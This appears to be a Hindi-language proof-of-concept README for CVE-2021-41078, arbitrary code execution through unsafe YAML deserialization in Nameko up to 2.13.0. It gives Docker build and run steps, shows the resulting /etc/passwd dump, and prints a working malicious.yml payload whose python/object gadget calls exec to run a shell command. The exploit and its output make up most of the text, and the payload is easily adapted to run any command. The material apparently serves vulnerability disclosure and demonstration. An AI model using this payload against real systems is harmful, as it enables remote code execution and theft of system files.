CVE-2021-41078

nameko YAML deserialization के कारण मनमाना कोड निष्पादन

NVD विवरण

Nameko 2.13.0 तक कॉन्फ़िग फ़ाइल को deserialize करते समय मनमाना कोड निष्पादन करने के लिए धोखा दिया जा सकता है।

डेमो

सेट अप

1. Dockerfile से एक इमेज बनाएँ

docker build -t cve-2021-41078 .

2. एक नए कंटेनर में python main.py चलाएँ

docker run -it --rm cve-2021-41078

आउटपुट /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

PoC पेलोड

malicious.yml

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

संदर्भ

• https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g